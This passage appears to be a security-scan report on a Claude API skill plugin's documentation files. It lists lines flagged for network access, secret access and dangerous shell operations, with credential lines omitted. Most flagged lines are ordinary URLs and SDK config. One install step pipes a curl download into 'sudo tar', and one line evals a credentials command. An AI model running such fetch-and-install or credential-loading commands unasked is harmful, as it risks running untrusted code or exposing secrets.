    - **[BREAKS] Objects passed in.** `httpx.Timeout`, `httpx.Limits`, transports (`httpx.HTTPTransport(...)`, `AsyncHTTPTransport`, `MockTransport`), and whole clients (`httpx.Client` / `AsyncClient` as `http_client=`) must come from `httpx2`.
  • Network accessline 67
    client = Anthropic(       timeout=httpx.Timeout(60.0, connect=5.0),
  • Network accessline 68
    timeout=httpx.Timeout(60.0, connect=5.0),
  • Network accessline 69
    http_client=DefaultHttpxClient(proxy="http://proxy.example", transport=httpx.HTTPTransport(retries=1)),
  • Network accessline 76
    client = Anthropic(       timeout=httpx.Timeout(60.0, connect=5.0),
  • Network accessline 77
    timeout=httpx.Timeout(60.0, connect=5.0),
  • Network accessline 78
    http_client=DefaultHttpxClient(proxy="http://proxy.example", transport=httpx.HTTPTransport(retries=1)),

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/python/claude-api/tool-use.md

  • Network accessline 91
    **Beta.** Convert [MCP (Model Context Protocol)](https://modelcontextprotocol.io/) tools, prompts, and resources to Anthropic API types for use with the tool runner. Requires `pip install anthropic[mcp]` (Python 3.10+).
  • Network accessline 496
    - `https://github.com/anthropics/anthropic-sdk-python/blob/main/examples/memory/basic.py`

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/python/managed-agents/README.md

  • Network accessline 3
    > **Bindings not shown here:** This README covers the most common managed-agents flows for Python. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the Python SDK repo **or the relevant docs page** from
  • Access to secretsline 19
    [Credential-related source omitted]
  • Access to secretsline 24
    [Credential-related source omitted]
  • Network accessline 62
    ) print(session.id, session.status) print(f"Trace: https://platform.claude.com/workspaces/default/sessions/{session.id}")  # swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 64
    print(f"Trace: https://platform.claude.com/workspaces/default/sessions/{session.id}")  # swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 98
    {             "type": "github_repository",             "url": "https://github.com/owner/repo",
  • Network accessline 99
    "type": "github_repository",             "url": "https://github.com/owner/repo",             "mount_path": "/workspace/repo",
  • Network accessline 100
    "url": "https://github.com/owner/repo",
  • Access to secretsline 102
    [Credential-related source omitted]
  • Network accessline 195
    > ⚠<U+FE0F> **Prefer the SDK over raw `requests`/`httpx`.** If you hand-roll a poll loop, don't assume `timeout=(5, 60)` or `httpx.Timeout(120)` caps total call duration — both are **per-chunk** read timeouts (reset on every byte), so a trickling 
  • Network accessline 317
    model="claude-opus-5",     mcp_servers=[         {"type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse"},
  • Network accessline 318
    mcp_servers=[         {"type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse"},     ],
  • Network accessline 319
    {"type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse"},

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/ruby/claude-api/README.md

  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 20
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/ruby/managed-agents/README.md

  • Network accessline 3
    > **Bindings not shown here:** This README covers the most common managed-agents flows for Ruby. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the Ruby SDK repo **or the relevant docs page** from `sh
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 22
    [Credential-related source omitted]
  • Network accessline 64
    ) puts "Session ID: #{session.id}" puts "Trace: https://platform.claude.com/workspaces/default/sessions/#{session.id}"  # swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 66
    puts "Trace: https://platform.claude.com/workspaces/default/sessions/#{session.id}"  # swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 271
    type: "url",       name: "github",       url: "https://api.githubcopilot.com/mcp/"
  • Network accessline 272
    name: "github",       url: "https://api.githubcopilot.com/mcp/"     }
  • Network accessline 273
    url: "https://api.githubcopilot.com/mcp/"
  • Network accessline 308
    auth: {     type: "mcp_oauth",     mcp_server_url: "https://mcp.slack.com/mcp",
  • Network accessline 309
    [Credential-related source omitted]
  • Network accessline 310
    mcp_server_url: "https://mcp.slack.com/mcp",
  • Access to secretsline 311
    [Credential-related source omitted]
  • Network accessline 312
    expires_at: "2026-04-15T00:00:00Z",     refresh: {       token_endpoint: "https://slack.com/api/oauth.v2.access",
  • Network accessline 313
    refresh: {       token_endpoint: "https://slack.com/api/oauth.v2.access",       client_id: "1234567890.0987654321",
  • Network accessline 314
    token_endpoint: "https://slack.com/api/oauth.v2.access",
  • Access to secretsline 320
    [Credential-related source omitted]
  • Access to secretsline 332
    [Credential-related source omitted]
  • Network accessline 354
    {       type: "github_repository",       url: "https://github.com/org/repo",
  • Network accessline 355
    type: "github_repository",       url: "https://github.com/org/repo",       mount_path: "/workspace/repo",
  • Network accessline 356
    url: "https://github.com/org/repo",
  • Network accessline 368
    {     type: "github_repository",     url: "https://github.com/org/frontend",
  • Network accessline 369
    type: "github_repository",     url: "https://github.com/org/frontend",     mount_path: "/workspace/frontend",
  • Network accessline 370
    url: "https://github.com/org/frontend",
  • Network accessline 374
    {     type: "github_repository",     url: "https://github.com/org/backend",
  • Network accessline 375
    type: "github_repository",     url: "https://github.com/org/backend",     mount_path: "/workspace/backend",
  • Network accessline 376
    url: "https://github.com/org/backend",

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/agent-design.md

  • Network accessline 28
    - **Security boundary.** Actions that require gating are natural candidates. Reversibility is a useful criterion: hard-to-reverse actions (external API calls, sending messages, deleting data) can be gated behind user confirmation. A `send_e

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/anthropic-cli.md

  • Network accessline 23
    # Linux / WSL — pick the release from github.com/anthropics/anthropic-cli/releases curl -fsSL "https://github.com/anthropics/anthropic-cli/releases/download/v${VERSION}/ant_${VERSION}_$(uname -s | tr A-Z a-z)_$(uname -m | sed -e s/x86_64/am
  • Dangerous shell operationline 24
    curl -fsSL "https://github.com/anthropics/anthropic-cli/releases/download/v${VERSION}/ant_${VERSION}_$(uname -s | tr A-Z a-z)_$(uname -m | sed -e s/x86_64/amd64/ -e s/aarch64/arm64/).tar.gz"    | sudo tar -xz -C /usr/local/bin ant
  • Network accessline 24
    curl -fsSL "https://github.com/anthropics/anthropic-cli/releases/download/v${VERSION}/ant_${VERSION}_$(uname -s | tr A-Z a-z)_$(uname -m | sed -e s/x86_64/amd64/ -e s/aarch64/arm64/).tar.gz" \
  • Dangerous shell operationline 25
    | sudo tar -xz -C /usr/local/bin ant
  • Access to secretsline 31
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 34
    [Credential-related source omitted]
  • Access to secretsline 37
    [Credential-related source omitted]
  • Network accessline 57
    # Bare access token — for curl's Authorization header curl https://api.anthropic.com/v1/messages \
  • Network accessline 58
    curl https://api.anthropic.com/v1/messages \
  • Access to secretsline 65
    [Credential-related source omitted]
  • Dangerous shell operationline 67
    set -a; eval "$(ant auth print-credentials --env)"; set +a
  • Access to secretsline 68
    [Credential-related source omitted]
  • Access to secretsline 71
    [Credential-related source omitted]
  • Access to secretsline 73
    [Credential-related source omitted]
  • Network accessline 106
    `--transform` takes a [GJSON path](https://github.com/tidwall/gjson/blob/master/SYNTAX.md). On list endpoints it runs **per item**, not on the envelope.

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/claude-platform-on-aws.md

  • Network accessline 45
    Endpoint pattern: `https://aws-external-anthropic.{region}.api.aws/v1/...`. Requests are SigV4-signed with service name `aws-external-anthropic`.
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 51
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/error-codes.md

  • Access to secretsline 59
    [Credential-related source omitted]
  • Access to secretsline 61
    [Credential-related source omitted]
  • Network accessline 155
    **Fix:** Retry with exponential backoff. If persistent, check [status.anthropic.com](https://status.anthropic.com).

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/live-sources.md

  • Network accessline 16
    | Topic           | URL                                                                          | Extraction Prompt                                                               | | --------------- | ---------------------------------------
  • Network accessline 17
    | --------------- | ---------------------------------------------------------------------------- | ------------------------------------------------------------------------------- | | Models Overview | `https://platform.claude.com/docs/en/mo
  • Network accessline 18
    | Models Overview | `https://platform.claude.com/docs/en/models/overview.md`        | "Extract current model IDs, context windows, and pricing for all Claude models" |
  • Network accessline 19
    | Migration Guide | `https://platform.claude.com/docs/en/about-claude/models/migration-guide.md` | "Extract breaking changes, deprecated parameters, and per-model migration steps when moving to a newer Claude model" |
  • Network accessline 20
    | Introducing Claude Fable 5 | `https://platform.claude.com/docs/en/models/fable-5/introducing-claude-fable-5-and-claude-mythos-5.md` | "Extract capabilities, API changes, and availability stages for Claude Fable 5 and Claude Mythos 5" |
  • Network accessline 21
    | Pricing         | `https://platform.claude.com/docs/en/about-claude/pricing.md`                             | "Extract current pricing per million tokens for input and output"               |
  • Network accessline 25
    | Topic             | URL                                                                          | Extraction Prompt                                                                      | | ----------------- | ----------------------------
  • Network accessline 26
    | ----------------- | ---------------------------------------------------------------------------- | -------------------------------------------------------------------------------------- | | Extended Thinking | `https://platform.claude.com
  • Network accessline 27
    | Extended Thinking | `https://platform.claude.com/docs/en/build-with-claude/extended-thinking.md` | "Extract extended thinking parameters, budget_tokens requirements, and usage examples" |
  • Network accessline 28
    | Adaptive Thinking | `https://platform.claude.com/docs/en/build-with-claude/adaptive-thinking.md` | "Extract adaptive thinking setup, effort levels, and Claude Opus 5 usage examples"         |
  • Network accessline 29
    | Effort Parameter  | `https://platform.claude.com/docs/en/build-with-claude/effort.md`            | "Extract effort levels, cost-quality tradeoffs, and interaction with thinking"        |
  • Network accessline 30
    | Tool Use          | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/overview.md`  | "Extract tool definition schema, tool_choice options, and handling tool results"       |
  • Network accessline 31
    | Streaming         | `https://platform.claude.com/docs/en/build-with-claude/streaming.md`         | "Extract streaming event types, SDK examples, and best practices"                      |
  • Network accessline 32
    | Prompt Caching    | `https://platform.claude.com/docs/en/build-with-claude/prompt-caching.md`    | "Extract cache_control usage, pricing benefits, and implementation examples"           |
  • Network accessline 36
    | Topic       | URL                                                                    | Extraction Prompt                                                 | | ----------- | -------------------------------------------------------------------
  • Network accessline 37
    | ----------- | ---------------------------------------------------------------------- | ----------------------------------------------------------------- | | Vision      | `https://platform.claude.com/docs/en/build-with-claude/vision.md`  
  • Network accessline 38
    | Vision      | `https://platform.claude.com/docs/en/build-with-claude/vision.md`      | "Extract supported image formats, size limits, and code examples" |
  • Network accessline 39
    | PDF Support | `https://platform.claude.com/docs/en/build-with-claude/pdf-support.md` | "Extract PDF handling capabilities, limits, and examples"         |
  • Network accessline 43
    | Topic            | URL                                                                         | Extraction Prompt                                                                                       | | ---------------- | --------------
  • Network accessline 44
    | ---------------- | --------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------- | | Batch Processing | `https://platf
  • Network accessline 45
    | Batch Processing | `https://platform.claude.com/docs/en/build-with-claude/batch-processing.md` | "Extract batch API endpoints, request format, and polling for results"                                  | | Files API        | `https://platf
  • Network accessline 46
    | Files API        | `https://platform.claude.com/docs/en/build-with-claude/files.md`            | "Extract file upload, download, and referencing in messages, including supported types and beta header" |
  • Network accessline 47
    | Token Counting   | `https://platform.claude.com/docs/en/build-with-claude/token-counting.md`   | "Extract token counting API usage and examples"                                                         |
  • Network accessline 48
    | Rate Limits      | `https://platform.claude.com/docs/en/api/rate-limits.md`                    | "Extract current rate limits by tier and model"                                                         |
  • Network accessline 49
    | Errors           | `https://platform.claude.com/docs/en/api/errors.md`                         | "Extract HTTP error codes, meanings, and retry guidance"                                                |
  • Network accessline 50
    | Amazon Bedrock   | `https://platform.claude.com/docs/en/build-with-claude/claude-on-amazon-bedrock.md` | "Extract the AnthropicBedrockMantle client per language, `anthropic.`-prefixed model IDs, auth paths, feature availability, and regio
  • Network accessline 51
    | Claude Platform on AWS | `https://platform.claude.com/docs/en/build-with-claude/claude-platform-on-aws.md` | "Extract the AnthropicAWS client per language, SigV4 auth, credential precedence, short-term API keys, workspace_id, and region r
  • Network accessline 52
    | Claude Platform on AWS — IAM actions | `https://platform.claude.com/docs/en/api/claude-platform-on-aws-iam-actions.md` | "Extract the IAM action names, resource ARNs, and policy examples required for each API capability" |
  • Network accessline 56
    | Topic          | URL                                                                                    | Extraction Prompt                                                                        | | -------------- | ----------------------
  • Network accessline 57
    | -------------- | -------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------- | | Code Execution | `https://platform.clau
  • Network accessline 58
    | Code Execution | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/code-execution-tool.md` | "Extract code execution tool setup, file upload, container reuse, and response handling" |
  • Network accessline 59
    | Computer Use   | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/computer-use.md`        | "Extract computer use tool setup, capabilities, and implementation examples"             |
  • Network accessline 60
    | Bash Tool      | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/bash-tool.md`           | "Extract bash tool schema, reference implementation, and security considerations"        |
  • Network accessline 61
    | Text Editor    | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/text-editor-tool.md`    | "Extract text editor tool commands, schema, and reference implementation"                |
  • Network accessline 62
    | Memory Tool    | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/memory-tool.md`         | "Extract memory tool commands, directory structure, and implementation patterns"         |
  • Network accessline 63
    | Tool Search    | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool.md`    | "Extract tool search setup, when to use, and cache interaction"                          |
  • Network accessline 64
    | Programmatic Tool Calling | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/programmatic-tool-calling.md` | "Extract PTC setup, script execution model, and tool invocation from code"    |
  • Network accessline 65
    | Skills         | `https://platform.claude.com/docs/en/agents-and-tools/skills.md`                       | "Extract skill folder structure, SKILL.md format, and loading behavior"                  |
  • Network accessline 69
    | Topic              | URL                                                                           | Extraction Prompt                                   | | ------------------ | ------------------------------------------------------------
  • Network accessline 70
    | ------------------ | ----------------------------------------------------------------------------- | --------------------------------------------------- | | Structured Outputs | `https://platform.claude.com/docs/en/build-with-claude/struc
  • Network accessline 71
    | Structured Outputs | `https://platform.claude.com/docs/en/build-with-claude/structured-outputs.md` | "Extract output_config.format usage and schema enforcement"                           |
  • Network accessline 72
    | Compaction         | `https://platform.claude.com/docs/en/build-with-claude/compaction.md`         | "Extract compaction setup, trigger config, and streaming with compaction"             |
  • Network accessline 73
    | Context Editing    | `https://platform.claude.com/docs/en/build-with-claude/context-editing.md`    | "Extract context editing thresholds, what gets cleared, and configuration"            |
  • Network accessline 74
    | Citations          | `https://platform.claude.com/docs/en/build-with-claude/citations.md`          | "Extract citation format and implementation"        |
  • Network accessline 75
    | Context Windows    | `https://platform.claude.com/docs/en/build-with-claude/context-windows.md`    | "Extract context window sizes and token management" |
  • Network accessline 81
    | Topic                 | URL                                                                              | Extraction Prompt                                                                               | | --------------------- | -------
  • Network accessline 82
    | --------------------- | -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- | | Overview              | `https:
  • Network accessline 83
    | Overview              | `https://platform.claude.com/docs/en/managed-agents/overview.md`                 | "Extract the high-level architecture and how agents/sessions/environments/vaults fit together" |
  • Network accessline 84
    | Quickstart            | `https://platform.claude.com/docs/en/managed-agents/quickstart.md`               | "Extract the minimal end-to-end agent → environment → session → stream code path"              |
  • Network accessline 85
    | Agent Setup           | `https://platform.claude.com/docs/en/managed-agents/agent-setup.md`              | "Extract agent create/update/list-versions/archive lifecycle and parameters"                   |
  • Network accessline 86
    | Define Outcomes       | `https://platform.claude.com/docs/en/managed-agents/define-outcomes.md`          | "Extract outcome definitions, evaluation hooks, and success criteria configuration"             |
  • Network accessline 87
    | Sessions              | `https://platform.claude.com/docs/en/managed-agents/sessions.md`                 | "Extract session lifecycle, status transitions, idle/terminated semantics, and resume rules"    |
  • Network accessline 88
    | Environments          | `https://platform.claude.com/docs/en/managed-agents/environments.md`             | "Extract environment config (cloud/networking), management endpoints, and reuse model"          |
  • Network accessline 89
    | Self-Hosted Sandboxes | `https://platform.claude.com/docs/en/managed-agents/self-hosted-sandboxes.md`    | "Extract config:{type:self_hosted}, ANTHROPIC_ENVIRONMENT_KEY, EnvironmentWorker.run/run_one, beta_agent_toolset, ant beta:worker p
  • Network accessline 90
    | Self-Hosted Sandboxes — Security | `https://platform.claude.com/docs/en/managed-agents/self-hosted-sandboxes-security.md` | "Extract what the customer owns (hardening, egress, key custody, trust boundaries) vs what Anthropic cannot do" |
  • Network accessline 91
    | Events and Streaming  | `https://platform.claude.com/docs/en/managed-agents/events-and-streaming.md`     | "Extract event stream types, stream-first ordering, reconnect/dedupe, and steering patterns"    |
  • Network accessline 92
    | Tools                 | `https://platform.claude.com/docs/en/managed-agents/tools.md`                    | "Extract built-in toolset, custom tool definitions, and tool result wire format"                |
  • Network accessline 93
    | Files                 | `https://platform.claude.com/docs/en/managed-agents/files.md`                    | "Extract file upload, mount paths, session resources, and listing/downloading session outputs"  |
  • Network accessline 94
    | Permission Policies   | `https://platform.claude.com/docs/en/managed-agents/permission-policies.md`      | "Extract permission policy types (allow/deny/confirm) and per-tool config"                     |
  • Network accessline 95
    | Multi-Agent           | `https://platform.claude.com/docs/en/managed-agents/multiagent-orchestration.md` | "Extract multi-agent composition patterns, sub-agent invocation, and result handoff"            |
  • Network accessline 96
    | Observability         | `https://platform.claude.com/docs/en/managed-agents/observability.md`            | "Extract logging, tracing, and usage telemetry exposed by managed agents"                       |
  • Network accessline 97
    | Webhooks              | `https://platform.claude.com/docs/en/managed-agents/webhooks.md`                 | "Extract webhook endpoint registration, HMAC signature verification, supported event types, and delivery semantics" |
  • Network accessline 98
    | GitHub                | `https://platform.claude.com/docs/en/managed-agents/github.md`                   | "Extract github_repository resource shape, multi-repo mounting, and token rotation"             |
  • Network accessline 99
    | MCP Connector         | `https://platform.claude.com/docs/en/managed-agents/mcp-connector.md`            | "Extract MCP server declaration on agents and vault-based credential injection at session"     |
  • Network accessline 100
    | Vaults                | `https://platform.claude.com/docs/en/managed-agents/vaults.md`                   | "Extract vault create, credential add/rotate, OAuth refresh shape, and archive"                 |
  • Network accessline 101
    | Skills                | `https://platform.claude.com/docs/en/managed-agents/skills.md`                   | "Extract skill packaging and loading model for managed agents"                                  |
  • Network accessline 102
    | Memory                | `https://platform.claude.com/docs/en/managed-agents/memory.md`                   | "Extract memory resource shape, scoping, and lifecycle"                                         |
  • Network accessline 103
    | Onboarding            | `https://platform.claude.com/docs/en/managed-agents/onboarding.md`               | "Extract first-run setup, prerequisites, and account/region requirements"                      |
  • Network accessline 104
    | Cloud Containers      | `https://platform.claude.com/docs/en/managed-agents/cloud-containers.md`         | "Extract cloud container runtime, image config, and network/storage knobs"                     |
  • Network accessline 105
    | Migration             | `https://platform.claude.com/docs/en/managed-agents/migration.md`                | "Extract migration paths from earlier APIs/preview shapes to GA managed agents"                 |
  • Network accessline 111
    | Topic         | URL                                                     | Extraction Prompt                                                                                  | | ------------- | ---------------------------------------------
  • Network accessline 112
    | ------------- | ------------------------------------------------------- | -------------------------------------------------------------------------------------------------- | | Anthropic CLI | `https://platform.claude.com/docs/en/api/sdks
  • Network accessline 113
    | Anthropic CLI | `https://platform.claude.com/docs/en/api/sdks/cli.md`   | "Extract CLI install, authentication, command structure, and the beta:agents/environments/sessions commands" |
  • Network accessline 114
    | Authentication overview | `https://platform.claude.com/docs/en/manage-claude/authentication.md` | "Extract the credential options (API keys, interactive OAuth login, Workload Identity Federation) and when to use each" |
  • Network accessline 115
    | WIF reference | `https://platform.claude.com/docs/en/manage-claude/wif-reference.md`  | "Extract credential precedence order, the profile configuration file schema, and the configuration directory layout" |
  • Network accessline 123
    | SDK        | URL                                                      | Extraction Prompt                                                                                                       | | ---------- | -----------------------------
  • Network accessline 124
    | ---------- | -------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------- | | Python     | `https://github.com/anthropic
  • Network accessline 125
    | Python     | `https://github.com/anthropics/anthropic-sdk-python`     | "Extract beta managed-agents namespaces, classes, and method signatures (`client.beta.agents`, `client.beta.sessions`)" |
  • Network accessline 126
    | TypeScript | `https://github.com/anthropics/anthropic-sdk-typescript` | "Extract beta managed-agents namespaces, classes, and method signatures (`client.beta.agents`, `client.beta.sessions`)" |
  • Network accessline 127
    | Java       | `https://github.com/anthropics/anthropic-sdk-java`       | "Extract beta managed-agents classes, builders, and method signatures (`client.beta().agents()`, `BetaManagedAgents*`)" |
  • Network accessline 128
    | Go         | `https://github.com/anthropics/anthropic-sdk-go`         | "Extract beta managed-agents types and method signatures (`client.Beta.Agents`, `BetaManagedAgents*` event types)"      |
  • Network accessline 129
    | Ruby       | `https://github.com/anthropics/anthropic-sdk-ruby`       | "Extract beta managed-agents methods and parameter shapes (`client.beta.agents`, `client.beta.sessions`)"               |
  • Network accessline 130
    | C#         | `https://github.com/anthropics/anthropic-sdk-csharp`     | "Extract beta managed-agents classes and method signatures (NuGet package, `BetaManagedAgents*` types)"                 |
  • Network accessline 131
    | PHP        | `https://github.com/anthropics/anthropic-sdk-php`        | "Extract beta managed-agents classes and method signatures (`$client->beta->agents`, `BetaManagedAgents*` params)"      |
  • Network accessline 139
    | SDK                | URL                                                                         | Extraction Prompt                                                                                                   | | ------------------ 
  • Network accessline 141
    | Python (0.x → 1.x) | `https://github.com/anthropics/anthropic-sdk-python/blob/main/MIGRATION.md` | "Extract every breaking change with its before/after code, the new minimum Python version, and the upgrade command" |

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-api-reference.md

  • Network accessline 250
    "type": "url",       "name": "github",       "url": "https://api.githubcopilot.com/mcp/"
  • Network accessline 251
    "name": "github",       "url": "https://api.githubcopilot.com/mcp/"     }
  • Network accessline 252
    "url": "https://api.githubcopilot.com/mcp/"
  • Network accessline 279
    {       "type": "github_repository",       "url": "https://github.com/owner/repo (required)",
  • Network accessline 280
    [Credential-related source omitted]
  • Network accessline 281
    "url": "https://github.com/owner/repo (required)",
  • Network accessline 445
    Managed Agents endpoints have per-organization request-per-minute (RPM) limits, separate from your [Messages API token limits](https://platform.claude.com/docs/en/api/rate-limits). Model inference inside a session still draws from your orga
  • Network accessline 453
    Files and Skills endpoints use the standard tier-based [rate limits](https://platform.claude.com/docs/en/api/rate-limits).

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-client-patterns.md

  • Network accessline 5
    Code samples are TypeScript — other languages follow the same shape; see `{lang}/managed-agents/README.md` (cURL and C#: `curl/managed-agents.md`) for equivalents.

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-core.md

  • Network accessline 50
    Every session has a live trace view in the Anthropic Console at `https://platform.claude.com/workspaces/{workspace}/sessions/{session_id}`. Print this URL immediately after creating a session so the user can watch tool calls and messages st
  • Network accessline 129
    > 💡 **Watch it live in Console.** While developing, print a link so you can click through to the session UI instead of parsing the event stream: `https://platform.claude.com/workspaces/{workspace}/sessions/{session.id}`. Use `default` for `
  • Network accessline 353
    {"type": "mcp_toolset", "mcp_server_name": "linear"},         ],         "mcp_servers": [{"type": "url", "name": "linear", "url": "https://mcp.linear.app/sse"}],
  • Network accessline 354
    ],         "mcp_servers": [{"type": "url", "name": "linear", "url": "https://mcp.linear.app/sse"}],     },
  • Network accessline 355
    "mcp_servers": [{"type": "url", "name": "linear", "url": "https://mcp.linear.app/sse"}],

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-environments.md

  • Network accessline 149
    model: 'claude-opus-5',     mcp_servers: [       { type: 'url', name: 'github', url: 'https://api.githubcopilot.com/mcp/' },
  • Network accessline 150
    mcp_servers: [       { type: 'url', name: 'github', url: 'https://api.githubcopilot.com/mcp/' },     ],
  • Network accessline 151
    { type: 'url', name: 'github', url: 'https://api.githubcopilot.com/mcp/' },
  • Network accessline 166
    {       type: 'github_repository',       url: 'https://github.com/owner/repo',
  • Network accessline 167
    [Credential-related source omitted]
  • Network accessline 168
    url: 'https://github.com/owner/repo',
  • Access to secretsline 169
    [Credential-related source omitted]
  • Network accessline 185
    "type": "url",         "name": "github",         "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 186
    "name": "github",         "url": "https://api.githubcopilot.com/mcp/",     }],
  • Network accessline 187
    "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 199
    resources=[{         "type": "github_repository",         "url": "https://github.com/owner/repo",
  • Network accessline 200
    [Credential-related source omitted]
  • Network accessline 201
    "url": "https://github.com/owner/repo",
  • Access to secretsline 202
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-events.md

  • Network accessline 52
    > ⚠<U+FE0F> **Robust polling (raw HTTP).** If you bypass the SDK and roll your own poll loop, don't rely on `requests` or `httpx` timeouts as wall-clock caps — they're **per-chunk** read timeouts, reset every time a byte arrives. A trickling respo

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-memory.md

  • Network accessline 199
    For cURL examples and the CLI (`ant beta:memory-stores ...`), web_fetch the Memory URL in `shared/live-sources.md` → Managed Agents.

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-multiagent.md

  • Network accessline 89
    The sections below are the reference for rosters, threads, events, and client-side handling; the platform guide is `https://platform.claude.com/docs/en/managed-agents/multiagent-orchestration.md`.
  • Network accessline 257
    For per-language bindings beyond Python, web_fetch `https://platform.claude.com/docs/en/managed-agents/multiagent-orchestration.md` (see `shared/live-sources.md`).

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-onboarding.md

  • Network accessline 73
    **Block 2 — Runtime (every invocation; conversational and Outcome shapes).** SDK code in the detected language (Python/TS/cURL — SKILL.md → Language Detection); don't emit shell loops here:
  • Network accessline 75
    1. Load `agent_id` + `env_id` from config/env 2. `sessions.create(agent=AGENT_ID, environment_id=ENV_ID, resources=[...], vault_ids=[...])`, then print the Console URL so the user can watch live: `https://platform.claude.com/workspaces/defa
  • Network accessline 76
    2. `sessions.create(agent=AGENT_ID, environment_id=ENV_ID, resources=[...], vault_ids=[...])`, then print the Console URL so the user can watch live: `https://platform.claude.com/workspaces/default/sessions/{session.id}` (swap `default` for
  • Network accessline 82
    Pull exact syntax from `{lang}/managed-agents/README.md` for your detected language (cURL and C#: use `curl/managed-agents.md` as the wire-level reference). Don't invent field names.

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-outcomes.md

  • Network accessline 108
    For the raw HTTP shapes and per-language SDK bindings beyond Python, web_fetch `https://platform.claude.com/docs/en/managed-agents/define-outcomes.md` (see `shared/live-sources.md`).

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-overview.md

  • Network accessline 32
    **Which beta header goes where:** The SDK sets `managed-agents-2026-04-01` automatically on `client.beta.{agents,environments,sessions,vaults,memory_stores,deployments,deployment_runs}.*` calls, and `files-api-2025-04-14` / `skills-2025-10-
  • Network accessline 70
    - **Stream to get events** — `GET /v1/sessions/{id}/events/stream` is the primary way to receive agent output in real-time. - **SSE stream has no replay — reconnect with consolidation** — if the stream drops while a `agent.tool_use`, `agent
  • Network accessline 71
    - **SSE stream has no replay — reconnect with consolidation** — if the stream drops while a `agent.tool_use`, `agent.mcp_tool_use`, or `agent.custom_tool_use` is pending resolution (`user.tool_confirmation` for the first two, `user.custom_t
  • Network accessline 72
    - **Don't trust HTTP-library timeouts as wall-clock caps** — `requests` `timeout=(c, r)` and `httpx.Timeout(n)` are *per-chunk* read timeouts; they reset every byte, so a trickling connection can block indefinitely. For a hard deadline on r

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-scheduled-deployments.md

  • Network accessline 16
    [Credential-related source omitted]
  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 17
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-self-hosted-sandboxes.md

  • Access to secretsline 9
    [Credential-related source omitted]
  • Access to secretsline 40
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 60
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]
  • Access to secretsline 107
    [Credential-related source omitted]
  • Access to secretsline 108
    [Credential-related source omitted]
  • Access to secretsline 110
    [Credential-related source omitted]
  • Access to secretsline 121
    [Credential-related source omitted]
  • Access to secretsline 131
    [Credential-related source omitted]
  • Access to secretsline 145
    [Credential-related source omitted]
  • Access to secretsline 169
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-tools.md

  • Network accessline 163
    {   "mcp_servers": [     { "type": "url", "name": "linear", "url": "https://mcp.linear.app/mcp" }
  • Network accessline 164
    "mcp_servers": [     { "type": "url", "name": "linear", "url": "https://mcp.linear.app/mcp" }   ],
  • Network accessline 165
    { "type": "url", "name": "linear", "url": "https://mcp.linear.app/mcp" }
  • Access to secretsline 200
    [Credential-related source omitted]
  • Network accessline 228
